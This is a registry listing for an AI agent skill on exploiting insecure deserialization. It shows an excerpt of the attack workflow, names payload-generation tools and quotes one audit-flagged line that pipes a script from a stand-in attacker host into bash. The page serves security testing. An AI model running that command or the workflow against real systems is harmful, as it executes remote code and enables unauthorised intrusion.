offensive-deserialization SKILL.md skillB

offensive-deserialization from snailsploit/claude-red is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.

Install it, pinned
mdr add snailsploit/claude-red/offensive-deserialization@git:20260825.900e4c2

Pins git:20260825.900e4c2 in mdr.lock. Pin the fingerprint instead.

Audit grade
B, 16 of 17 checks passed
Kind
SKILL.md skill
Repository
snailsploit/claude-red
Path
Skills/web/offensive-deserialization/SKILL.md
Versions recorded
4
Latest version
git:20260825.900e4c2, committed Aug 25, 2026
First version recorded
May 6, 2026
Size
22,517 bytes
Repository stars
10,442
License
MIT

Insecure deserialization exploitation across Java, PHP, .NET, Python, Node.js, and Ruby. Covers gadget chain construction with ysoserial/phpggc/ysoserial.net, ObjectInputStream and BinaryFormatter sink identification, pickle __reduce__ RCE, phar:// wrapper abuse, Jackson polymorphic typing, Json.NET TypeNameHandling, ViewState tampering, node-serialize IIFE injection, Ruby Marshal.load and YAML.load gadgets, framework-specific chains for Spring/Hibernate/Laravel/Symfony, modern attack surfaces…

Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.

What the file says

# Offensive Deserialization

Deserialization vulnerabilities arise when an application reconstructs objects from
serialized byte streams without validating the type, integrity, or origin of the
data. Object reconstruction triggers constructors, finalizers, and language-specific
magic methods, so an attacker who controls the serialized input often achieves remote
code execution before any application-level validation runs.

## Quick Workflow
1. Enumerate every entry point accepting opaque binary or encoded data -- cookies,
   HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars,
   gRPC fields, JMX/RMI endpoints.
2. Fingerprint the serialization format via magic bytes, content-type headers, and
   error behavior (see Recognition Signatures).
3. Determine the server-side language and framework version from error pages, HTTP
   headers, or source code.
4. Select candidate gadget chains matching the target classpath or installed packages.
   Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.
5. Deliver through the identified entry point. Start with DNS-only or sleep-based
…

Read the whole file at its exact version.

How to install

The exact contents, by fingerprint
mdr add snailsploit/claude-red/offensive-deserialization@sha256:2dfb6f4dfa3be8a5

The line at the top of this page pins the label git:20260825.900e4c2, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.

Badge

mdr badge

[![mdr](https://markdownregistry.com/badge/art_dybsurojgb3typ2g.svg)](https://markdownregistry.com/a/art_dybsurojgb3typ2g)

4 badge image fetches in 30 days. What the badge shows.

Versions

The registry has recorded 4 versions of this file, between May 6, 2026 and Aug 25, 2026, about one every 37 days. Its first recorded version is graded C and its latest B.

versioncommittedcommitsizeaudit
git:20260825.900e4c2 latest2026-08-25 900e4c2 22,517 BB view · diff
git:20260825.1885f442026-08-25 1885f44 23,179 BB view · diff
git:20260825.8cffe5d2026-08-25 8cffe5d 29,512 BB view · diff
git:20260506.70e0c892026-05-06 70e0c89 9,112 BC view

Audit of the latest version

B  16 of 17 checks passed. Fixed automatic checks with no AI involved, so the same checks give the same answer every run.
  • fail: No curl or wget piped into a shell (matched: curl http://attacker.com/s.sh|bash)
  • pass: Frontmatter block present
  • pass: Frontmatter declares a name
  • pass: Frontmatter declares a description
  • pass: Size between 200 bytes and 200 KB (22517 bytes)
  • pass: No zero-width or bidi control characters
  • pass: No instruction hidden inside an HTML comment
  • pass: No link to an exfiltration or paste host
  • pass: No credential-shaped string
  • pass: No instruction to send local credentials anywhere
  • pass: No text hidden with inline styles
  • pass: No prompt-injection phrasing
  • pass: No recursive delete of root, home or parent
  • pass: No instruction to read or print local credentials
  • pass: No base64 blob over 200 characters
  • pass: No link to a raw IP address
  • pass: No script tag

Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.

Source

GitHub

snailsploit/claude-red · 10,442 stars · license MIT · pushed 2026-10-12 · branch main

API

GET https://markdownregistry.com/api/v1/artifacts/art_dybsurojgb3typ2g
GET https://markdownregistry.com/api/v1/resolve?ref=snailsploit/claude-red/offensive-deserialization
GET https://markdownregistry.com/api/v1/blob/2dfb6f4dfa3be8a5ff7a36593908f0f00f236ccc6f7f53f3e1ea33bfe47537e2

Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.

Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.

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Every file in snailsploit/claude-red

Other files named offensive-deserialization

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